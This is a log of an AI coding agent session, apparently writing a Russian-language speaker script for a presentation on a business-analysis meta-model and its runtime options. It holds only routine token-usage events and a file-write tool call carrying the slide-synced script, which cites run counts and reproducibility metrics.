\"thinking_tokens\",\n[2026-09-29T07:52:13.088Z] [INFO]   \"estimated_tokens\": 600,\n[2026-09-29T07:52:13.088Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:13.088Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:13.088Z] [INFO]   \"uuid\": \"163e4f39-88b7-4740-8fb1-b76587b33374\"\n[2026-09-29T07:52:13.088Z] [INFO] }\n[2026-09-29T07:52:14.136Z] [INFO] {\n[2026-09-29T07:52:14.136Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:14.136Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:14.136Z] [INFO]   \"estimated_tokens\": 700,\n[2026-09-29T07:52:14.136Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:14.136Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:14.136Z] [INFO]   \"uuid\": \"eb9ee857-450b-4541-ad91-57557a604f32\"\n[2026-09-29T07:52:14.136Z] [INFO] }\n[2026-09-29T07:52:15.286Z] [INFO] {\n[2026-09-29T07:52:15.286Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:15.286Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:15.286Z] [INFO]   \"estimated_tokens\": 800,\n[2026-09-29T07:52:15.286Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:15.286Z] [INFO]   \"session_id\": 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[REDACTED],\n[2026-09-29T07:52:17.688Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:17.688Z] [INFO]   \"uuid\": \"390d82af-0d1b-4cb8-9f41-329c7c607f17\"\n[2026-09-29T07:52:17.688Z] [INFO] }\n[2026-09-29T07:52:18.891Z] [INFO] {\n[2026-09-29T07:52:18.891Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:18.891Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:18.891Z] [INFO]   \"estimated_tokens\": 1100,\n[2026-09-29T07:52:18.891Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:18.891Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:18.891Z] [INFO]   \"uuid\": \"34de0234-602b-4a7c-8bbf-41d6f4390c09\"\n[2026-09-29T07:52:18.891Z] [INFO] }\n[2026-09-29T07:52:20.090Z] [INFO] {\n[2026-09-29T07:52:20.090Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:20.090Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:20.090Z] [INFO]   \"estimated_tokens\": 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Now writing the speaker script (Doc 2), synced to the same slide numbers, with a Q&A bank for the technical leader.\"\n[2026-09-29T07:52:20.962Z] [INFO]       }\n[2026-09-29T07:52:20.962Z] [INFO]     ],\n[2026-09-29T07:52:20.962Z] [INFO]     \"container\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"usage\": {\n[2026-09-29T07:52:20.962Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:52:20.962Z] [INFO]       \"cache_creation_input_tokens\": 632,\n[2026-09-29T07:52:20.962Z] [INFO]       \"cache_read_input_tokens\": 107118,\n[2026-09-29T07:52:20.962Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:52:20.962Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:52:20.962Z] [INFO]         \"ephemeral_1h_input_tokens\": 632\n[2026-09-29T07:52:20.962Z] [INFO]       },\n[2026-09-29T07:52:20.962Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:52:20.962Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:52:20.962Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:52:20.962Z] [INFO]     },\n[2026-09-29T07:52:20.962Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:52:20.962Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"context_management\": null\n[2026-09-29T07:52:20.962Z] [INFO]   },\n[2026-09-29T07:52:20.962Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:52:20.962Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:20.962Z] [INFO]   \"uuid\": \"4bf6eace-cf88-4b2a-9aa9-eef40ea861d7\",\n[2026-09-29T07:52:20.962Z] [INFO]   \"timestamp\": \"2026-09-29T07:52:20.944Z\",\n[2026-09-29T07:52:20.962Z] [INFO]   \"request_id\": \"req_011CfXNGHKsPJjFoWDY7NsVp\"\n[2026-09-29T07:52:20.962Z] [INFO] }\n[2026-09-29T07:53:48.040Z] [INFO] {\n[2026-09-29T07:53:48.040Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"message\": {\n[2026-09-29T07:53:48.040Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:53:48.040Z] [INFO]     \"id\": \"msg_011CfXNGHkfmbChb2pFLoi1e\",\n[2026-09-29T07:53:48.040Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:53:48.040Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:53:48.040Z] [INFO]     \"content\": [\n[2026-09-29T07:53:48.040Z] [INFO]       {\n[2026-09-29T07:53:48.040Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:53:48.040Z] [INFO]         \"id\": \"toolu_01GbDhvGR6SDE8EyvtinseYU\",\n[2026-09-29T07:53:48.040Z] [INFO]         \"name\": \"Write\",\n[2026-09-29T07:53:48.040Z] [INFO]         \"input\": {\n[2026-09-29T07:53:48.040Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:53:48.040Z] [INFO]           \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\\n  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 